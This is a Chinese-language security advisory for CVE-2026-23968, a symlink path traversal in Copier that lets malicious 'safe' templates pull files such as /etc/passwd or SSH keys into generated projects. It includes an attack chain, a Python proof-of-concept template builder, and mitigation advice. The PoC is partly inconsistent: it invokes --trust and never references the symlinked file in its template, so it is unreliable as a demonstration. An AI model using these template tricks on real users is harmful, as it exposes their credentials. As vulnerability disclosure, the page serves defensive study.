IPBUF安全漏洞报告
English
CVE-2026-23968 CVSS 5.5 中危

CVE-2026-23968 Copier安全模板路径遍历漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23968
漏洞类型
路径遍历
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Copier

相关标签

路径遍历符号链接滥用信息泄露Copier模板注入CVE-2026-23968

漏洞概述

Copier是一个用于渲染项目模板的Python库和CLI应用程序。在9.11.2之前的版本中,存在一个安全漏洞,允许所谓的"安全模板"通过符号链接读取模板克隆位置之外的文件系统内容。正常情况下,安全模板不应使用不安全的Jinja扩展功能(如自定义Jinja扩展),这些功能需要传递`--UNSAFE`或`--trust`标志。然而,由于Copier的默认设置`_preserve_symlinks: false`,攻击者可以构造一个恶意模板,利用符号链接(symlinks)来包含和读取本地模板克隆目录之外的文件或目录。这一漏洞影响了机密性,攻击者可以读取敏感文件如SSH密钥、配置文件、密码文件等。攻击需要本地访问权限和用户交互才能成功。

技术细节

该漏洞的根本原因在于Copier处理符号链接时的安全检查不足。当使用`_preserve_symlinks: false`(默认值)时,Copier会解析符号链接指向的目标路径。攻击者可以创建一个包含指向外部文件的符号链接的模板目录结构。漏洞利用步骤如下:1) 攻击者构造一个恶意模板,在模板目录中创建指向系统敏感文件的符号链接;2) 当用户使用Copier从该模板生成项目时,由于`_preserve_symlinks: false`设置,Copier会解析符号链接并复制目标文件内容;3) 敏感文件内容被意外包含在生成的项目中,导致信息泄露。修复版本9.11.2通过加强符号链接处理的安全检查来解决此问题,确保安全模板无法访问模板目录外的文件。

攻击链分析

STEP 1
步骤1
攻击者创建一个恶意Copier模板,在模板目录中创建指向系统敏感文件(如/etc/passwd、~/.ssh/id_rsa等)的符号链接
STEP 2
步骤2
攻击者将恶意模板托管在可访问的位置(如GitHub仓库),并声称这是一个"安全模板"(不使用自定义Jinja扩展)
STEP 3
步骤3
受害者使用`copier copy`命令从该模板生成项目,由于默认使用`_preserve_symlinks: false`,Copier会解析符号链接
STEP 4
步骤4
Copier在生成项目时,将符号链接指向的敏感文件内容复制到项目目录中
STEP 5
步骤5
受害者可能无意识地将包含敏感信息的项目代码提交到版本控制系统或分享给他人,造成信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious template structure for CVE-2026-23968 # This PoC demonstrates how a safe template can read arbitrary files via symlinks import os import tempfile import shutil from pathlib import Path def create_malicious_template(): """ Create a malicious template that exploits CVE-2026-23968 to read arbitrary files from the system. """ template_dir = Path(tempfile.mkdtemp()) # Create template structure src_dir = template_dir / "src" src_dir.mkdir() # Create symlink to sensitive file (e.g., /etc/passwd) # This works because _preserve_symlinks: false is the default symlink_path = src_dir / "sensitive_data.txt" # Target file to read (attacker-controlled via template) target_file = "/etc/passwd" try: os.symlink(target_file, symlink_path) print(f"[+] Created symlink: {symlink_path} -> {target_file}") except OSError as e: print(f"[-] Failed to create symlink: {e}") return None # Create copier.yml (safe template config - no UNSAFE features) copier_yml = src_dir / "copier.yml" copier_yml.write_text("""# This is a 'safe' template - no custom Jinja extensions project_name: my-project """) # Create template file that will include the symlinked content template_file = src_dir / "{{ project_name }}" / "data.txt" template_file.parent.mkdir(parents=True, exist_ok=True) template_file.write_text("{{ _copier_answers_file }}") print(f"[+] Malicious template created at: {template_dir}") print(f"[+] To exploit, run: copier copy {src_dir} /tmp/output --trust") return template_dir def verify_vulnerability(): """ Verify if the system is vulnerable to CVE-2026-23968 """ try: import copier version = copier.__version__ print(f"[*] Copier version: {version}") # Versions < 9.11.2 are vulnerable major, minor, patch = map(int, version.split('.')) if major < 9 or (major == 9 and minor < 11) or (major == 9 and minor == 11 and patch < 2): print("[-] System is VULNERABLE to CVE-2026-23968") return True else: print("[+] System is NOT vulnerable (patched)") return False except ImportError: print("[-] Copier not installed") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-23968 PoC - Copier Symlink Path Traversal") print("=" * 60) verify_vulnerability() create_malicious_template()

影响范围

Copier < 9.11.2

防御指南

临时缓解措施
临时缓解措施:在使用Copier模板前,手动检查模板目录中是否存在指向外部路径的符号链接;对于敏感环境,避免使用第三方模板或使用`copier copy --trust`选项前务必验证模板安全性;考虑在隔离环境中测试模板,确保不包含恶意符号链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表